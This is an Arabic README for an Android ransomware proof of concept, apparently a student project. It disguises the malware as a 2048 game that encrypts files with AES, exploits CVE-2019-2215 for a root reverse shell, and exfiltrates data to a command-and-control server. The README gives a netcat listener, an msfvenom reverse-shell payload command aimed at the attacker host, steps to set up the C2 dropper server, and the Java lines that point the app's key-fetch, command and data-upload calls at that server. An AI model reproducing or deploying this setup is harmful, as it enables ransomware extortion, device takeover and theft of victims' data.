
تطوير برامج فدية لأندرويد - تشفير AES256 + CVE-2019-2215 (شل عكسية لجذر النظام) + تسريب البيانات
هذا المشروع مخصص للأغراض التعليمية فقط. يستخدم هذا المشروع كودًا من rkshrksh/2048-Game و kangtastic/cve-2019-2215.
هذا المشروع هو جزء من وحدة أمن الأجهزة المحمولة في معهد سنغافورة للتكنولوجيا. تم إنجاز المشروع في غضون 6 أسابيع، وكان الهدف منه تطوير تطبيق أندرويد خبيث. من خلال ذلك، ساعدنا في تعلم كيفية تنفيذ آليات الأمان في نظام أندرويد وكيف يمكننا تطبيق OWASP Mobile Top 10:2017 M8 - العبث بالكود.
المشروع هو إثبات مفهوم لعرض برنامج فدية مكتوب خصيصًا يستخدم تشفير AES، وتسليح ثغرة cve-2019-2215، بالإضافة إلى سرقة البيانات من الجهاز المصاب.
تم اختباره على Android 10 و Google Pixel 2 XL.
├── 2048-Game // مجلد مشروع أندرويد
├── 2048-keystore // مخزن مفاتيح الاختبار
├── cve-2019-2215 // نسخة معدلة من cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // دليل خادم التحميل
│ ├── cve-2019-2215 // محتويات shells.zip قبل الضغط
│ ├── dropper_server.py // برنامج خادم التحميل
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // ملف ثنائي Netcat لنظام ويندوز - لمستمع الصدفة العكسية
│ ├── requirements.txt
│ ├── shells.zip // shells.zip المستضافة في جذر خادم التحميل
│ └── venv
└── test_images // صور اختبار لسهولة الدفع عبر adb push <image.ext> /sdcard/Pictures
لهذا الاختبار، تأكد من أن هاتف الضحية وخادم C2 موجودان في نفس الشبكة الفرعية (وإلا قم باستضافة خادم C2 على الإنترنت العام). هناك 3 نقاط نهاية لخادم C2 يمكن العثور عليها في dropper/dropper_server.py:
nc -lvnp 1337 # من الأفضل أن يكون هذا بنفس IP الخاص بخادم التحميل
# إنشاء حمولة rs.elf
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<IP المهاجم> LPORT=<منفذ المهاجم> -f elf > rs.elf
# من الأفضل تشغيل Flask على ويندوز إذا كان WSL لا يقوم بتحويل منفذ localhost إلى مضيف ويندوز
cd dropper
python3 -m venv venv # إنشاء بيئة افتراضية
# تفعيل البيئة الافتراضية
. venv/bin/activate # لينكس
venv\Scripts\activate.bat # ويندوز
pip install -r requirements.txt --upgrade pip # تأكد من أن شل المضيف هو root/Administrator
# تشغيل خادم C2
python3 dropper_server.py # WSL
python dropper_server.py # ويندوز
shells.zip في /dropper
فئات Java
// الملف : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// قم بتغيير IP والمنفذ وفقًا لـ IP ومنفذ خادم التحميل
String URL = "http://192.168.157.73:8080/process_command"; // السطر 19
// الملف : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// قم بتغيير IP والمنفذ وفقًا لـ IP ومنفذ خادم التحميل
String URL = "http://192.168.157.73:8080/get_mk"; // السطر 45
// الملف : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// قم بتغيير IP والمنفذ وفقًا لـ IP ومنفذ خادم التحميل
String urlString = "http://192.168.157.73:8080/postData"; // السطر 32